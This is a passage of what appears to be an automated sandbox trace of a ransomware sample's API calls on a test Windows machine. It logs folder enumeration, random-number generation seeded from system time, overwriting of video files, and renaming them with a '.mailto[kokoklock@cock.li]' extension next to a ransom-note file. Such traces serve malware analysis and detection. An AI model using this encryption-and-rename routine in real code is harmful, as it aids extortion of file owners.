lpOverlapped=0x0) returned 1 [0068.445] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423b78 [0068.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423ce0 [0068.445] NtQuerySystemTime (in: CurrentTime=0x1063f8fc | out: CurrentTime=0x1063f8fc*=132121176263441219) returned 0x0 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xfe27efe7 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x1b0c3f99 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xc1c60304 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x5ad20155 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xf459951f [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xd2a8859a [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x80664d7f [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x4db44291 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xefce9349 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x4a536fac [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x8ee0f3f9 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xfa540df5 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x87062da9 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x3f7ee7b3 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xffbc30b2 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x9f7c417d [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xfe4a0aa8 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xd3b907d0 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xada0b0f2 [0068.445] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xe5aa14d2 [0068.446] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x4c5ba392 [0068.446] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x2e3dbe5d [0068.446] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x719fafdc [0068.446] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xc62e1d9 [0068.446] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xcb07273 [0068.446] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x16ef1b98 [0068.446] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xb440c34f [0068.446] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xb96c5bb5 [0068.446] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x7122383a [0068.446] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x89388c6e [0068.446] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0xc6b1ffe7 [0068.446] RtlRandom (in: Seed=0x1063f908 | out: Seed=0x1063f908) returned 0x20bab9ce [0068.456] ReadFile (in: hFile=0x598, lpBuffer=0x3475830, nNumberOfBytesToRead=0x763, lpNumberOfBytesRead=0x1063f8fc, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1063f8fc*=0x763, lpOverlapped=0x0) returned 1 [0068.456] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1063f8c4 | out: lpNewFilePointer=0x0) returned 1 [0068.457] WriteFile (in: hFile=0x598, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x763, lpNumberOfBytesWritten=0x1063f8f8, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1063f8f8*=0x763, lpOverlapped=0x0) returned 1 [0068.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423970 [0068.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34239c0 [0068.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34239c0) returned 1 [0068.457] WriteFile (in: hFile=0x598, lpBuffer=0x3423970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1063f8f4, lpOverlapped=0x0 | out: lpBuffer=0x3423970*, lpNumberOfBytesWritten=0x1063f8f4*=0x20, lpOverlapped=0x0) returned 1 [0068.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423970) returned 1 [0068.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0068.457] WriteFile (in: hFile=0x598, lpBuffer=0x3423948*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1063f920, lpOverlapped=0x0 | out: lpBuffer=0x3423948*, lpNumberOfBytesWritten=0x1063f920*=0x8, lpOverlapped=0x0) returned 1 [0068.457] WriteFile (in: hFile=0x598, lpBuffer=0x1063f938*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1063f920, lpOverlapped=0x0 | out: lpBuffer=0x1063f938*, lpNumberOfBytesWritten=0x1063f920*=0x4, lpOverlapped=0x0) returned 1 [0068.457] WriteFile (in: hFile=0x598, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1063f920, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1063f920*=0x4, lpOverlapped=0x0) returned 1 [0068.457] WriteFile (in: hFile=0x598, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1063f920, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1063f920*=0x6c, lpOverlapped=0x0) returned 1 [0068.458] WriteFile (in: hFile=0x598, lpBuffer=0x3423b78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1063f920, lpOverlapped=0x0 | out: lpBuffer=0x3423b78*, lpNumberOfBytesWritten=0x1063f920*=0x20, lpOverlapped=0x0) returned 1 [0068.458] WriteFile (in: hFile=0x598, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1063f920, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1063f920*=0x4, lpOverlapped=0x0) returned 1 [0068.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423b78) returned 1 [0068.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0068.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423948) returned 1 [0068.458] CloseHandle (hObject=0x598) returned 1 [0068.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431e48 [0068.483] wcscpy (in: _Dest=0x3431e48, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv" [0068.483] wcscat (in: _Dest=0x3431e48, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731" [0068.483] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\fm9iifcvtvhlfb_lg.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\fm9iifcvtvhlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0068.509] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0068.510] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431e48) returned 1 [0068.510] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv", dwFileAttributes=0x20) returned 0 [0068.510] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd3f0 [0068.510] wcscpy (in: _Dest=0x33cd3f0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0068.510] wcscat (in: _Dest=0x33cd3f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" [0068.510] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\d0e731-readme.txt")) returned 0x20 [0068.510] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd3f0) returned 1 [0068.510] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cfb48) returned 1 [0068.510] RtlExitUserThread (Status=0x1) Thread: id = 369 os_tid = 0x9fc [0068.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cd470 [0068.460] wcscpy (in: _Dest=0x33cd470, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0068.460] wcscat (in: _Dest=0x33cd470, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0068.460] wcscat (in: _Dest=0x33cd470, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\*") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\*" [0068.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342afa8 [0068.460] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\*", lpFindFileData=0x342afa8 | out: lpFindFileData=0x342afa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89b893c0, ftCreationTime.dwHighDateTime=0x1d4d19e, ftLastAccessTime.dwLowDateTime=0xa21b5c30, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0xa21b5c30, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433de8 [0068.460] wcscmp (_String1=".", _String2=".") returned 0 [0068.460] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x342afa8 | out: lpFindFileData=0x342afa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89b893c0, ftCreationTime.dwHighDateTime=0x1d4d19e, ftLastAccessTime.dwLowDateTime=0xa21b5c30, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0xa21b5c30, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.460] wcscmp (_String1="..", _String2=".") returned 1 [0068.460] wcscmp (_String1="..", _String2="..") returned 0 [0068.460] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x342afa8 | out: lpFindFileData=0x342afa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99cd1ef0, ftCreationTime.dwHighDateTime=0x1d4c6c9, ftLastAccessTime.dwLowDateTime=0xc83441e0, ftLastAccessTime.dwHighDateTime=0x1d4d233, ftLastWriteTime.dwLowDateTime=0xc83441e0, ftLastWriteTime.dwHighDateTime=0x1d4d233, nFileSizeHigh=0x0, nFileSizeLow=0x148c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAzhH70 S6pQlPU_FzwT.flv", cAlternateFileName="CAZHH7~1.FLV")) returned 1 [0068.461] wcscmp (_String1="CAzhH70 S6pQlPU_FzwT.flv", _String2=".") returned 1 [0068.461] wcscmp (_String1="CAzhH70 S6pQlPU_FzwT.flv", _String2="..") returned 1 [0068.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33ce878 [0068.461] wcscpy (in: _Dest=0x33ce878, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0068.461] wcscat (in: _Dest=0x33ce878, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0068.461] wcscat (in: _Dest=0x33ce878, _Source="CAzhH70 S6pQlPU_FzwT.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv" [0070.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ce878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8 [0070.561] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x342afa8 | out: lpFindFileData=0x342afa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c80b90, ftCreationTime.dwHighDateTime=0x1d4c814, ftLastAccessTime.dwLowDateTime=0x8a65a870, ftLastAccessTime.dwHighDateTime=0x1d4ce84, ftLastWriteTime.dwLowDateTime=0x8a65a870, ftLastWriteTime.dwHighDateTime=0x1d4ce84, nFileSizeHigh=0x0, nFileSizeLow=0xe962, dwReserved0=0x0, dwReserved1=0x0, cFileName="dv5eftIdze9.mkv", cAlternateFileName="DV5EFT~1.MKV")) returned 1 [0070.561] wcscmp (_String1="dv5eftIdze9.mkv", _String2=".") returned 1 [0070.561] wcscmp (_String1="dv5eftIdze9.mkv", _String2="..") returned 1 [0070.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eb590 [0070.561] wcscpy (in: _Dest=0x33eb590, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0070.561] wcscat (in: _Dest=0x33eb590, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0070.561] wcscat (in: _Dest=0x33eb590, _Source="dv5eftIdze9.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv" [0070.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eb590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0 [0070.562] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x342afa8 | out: lpFindFileData=0x342afa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x606a8430, ftCreationTime.dwHighDateTime=0x1d4cfe9, ftLastAccessTime.dwLowDateTime=0xb17891b0, ftLastAccessTime.dwHighDateTime=0x1d4d4f2, ftLastWriteTime.dwLowDateTime=0xb17891b0, ftLastWriteTime.dwHighDateTime=0x1d4d4f2, nFileSizeHigh=0x0, nFileSizeLow=0x127b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="h5D0qj4ibJU.swf", cAlternateFileName="H5D0QJ~1.SWF")) returned 1 [0070.562] wcscmp (_String1="h5D0qj4ibJU.swf", _String2=".") returned 1 [0070.562] wcscmp (_String1="h5D0qj4ibJU.swf", _String2="..") returned 1 [0070.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eaff0 [0070.562] wcscpy (in: _Dest=0x33eaff0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0070.562] wcscat (in: _Dest=0x33eaff0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0070.562] wcscat (in: _Dest=0x33eaff0, _Source="h5D0qj4ibJU.swf" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf" [0070.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eaff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4 [0070.563] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x342afa8 | out: lpFindFileData=0x342afa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e3dd340, ftCreationTime.dwHighDateTime=0x1d4d4e4, ftLastAccessTime.dwLowDateTime=0x2e54cc0, ftLastAccessTime.dwHighDateTime=0x1d4ca60, ftLastWriteTime.dwLowDateTime=0x2e54cc0, ftLastWriteTime.dwHighDateTime=0x1d4ca60, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="N9niCZFyd 5h8GAXUn0", cAlternateFileName="N9NICZ~1")) returned 1 [0070.563] wcscmp (_String1="N9niCZFyd 5h8GAXUn0", _String2=".") returned 1 [0070.563] wcscmp (_String1="N9niCZFyd 5h8GAXUn0", _String2="..") returned 1 [0070.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6720 [0070.563] wcscpy (in: _Dest=0x33e6720, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0070.563] wcscat (in: _Dest=0x33e6720, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0070.563] wcscat (in: _Dest=0x33e6720, _Source="N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0070.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e6720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8 [0070.564] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x342afa8 | out: lpFindFileData=0x342afa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7458530, ftCreationTime.dwHighDateTime=0x1d4cffb, ftLastAccessTime.dwLowDateTime=0x38755e60, ftLastAccessTime.dwHighDateTime=0x1d4d399, ftLastWriteTime.dwLowDateTime=0x38755e60, ftLastWriteTime.dwHighDateTime=0x1d4d399, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NHaTPIbP", cAlternateFileName="")) returned 1 [0070.564] wcscmp (_String1="NHaTPIbP", _String2=".") returned 1 [0070.564] wcscmp (_String1="NHaTPIbP", _String2="..") returned 1 [0070.564] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e2f00 [0070.564] wcscpy (in: _Dest=0x33e2f00, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0070.564] wcscat (in: _Dest=0x33e2f00, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0070.564] wcscat (in: _Dest=0x33e2f00, _Source="NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0070.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e2f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac [0070.564] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x342afa8 | out: lpFindFileData=0x342afa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7458530, ftCreationTime.dwHighDateTime=0x1d4cffb, ftLastAccessTime.dwLowDateTime=0x38755e60, ftLastAccessTime.dwHighDateTime=0x1d4d399, ftLastWriteTime.dwLowDateTime=0x38755e60, ftLastWriteTime.dwHighDateTime=0x1d4d399, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NHaTPIbP", cAlternateFileName="")) returned 0 [0070.564] FindClose (in: hFindFile=0x3433de8 | out: hFindFile=0x3433de8) returned 1 [0070.565] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342afa8) returned 1 [0070.565] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd470) returned 1 [0070.565] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccbf0) returned 1 [0070.565] RtlExitUserThread (Status=0x0) Thread: id = 370 os_tid = 0xe0 [0068.461] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ts7oo31s1hx4j8dj.swf")) returned 0x20 [0068.461] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf", dwFileAttributes=0x20) returned 1 [0068.461] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ts7oo31s1hx4j8dj.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac [0068.461] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x1073fcec | out: lpFileSize=0x1073fcec*=34468) returned 1 [0068.461] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x86a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.462] ReadFile (in: hFile=0x5ac, lpBuffer=0x1073fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1073fcbc, lpOverlapped=0x0 | out: lpBuffer=0x1073fcc0*, lpNumberOfBytesRead=0x1073fcbc*=0x4, lpOverlapped=0x0) returned 1 [0068.462] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0068.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423948 [0068.462] NtQuerySystemTime (in: CurrentTime=0x1073fc98 | out: CurrentTime=0x1073fc98*=132121176263603854) returned 0x0 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0xc18fc372 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0xa336f62f [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x9f5182ff [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0x2e5f8598 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: Seed=0x1073fca4) returned 0xa7036781 [0068.462] RtlRandom (in: Seed=0x1073fca4 | out: 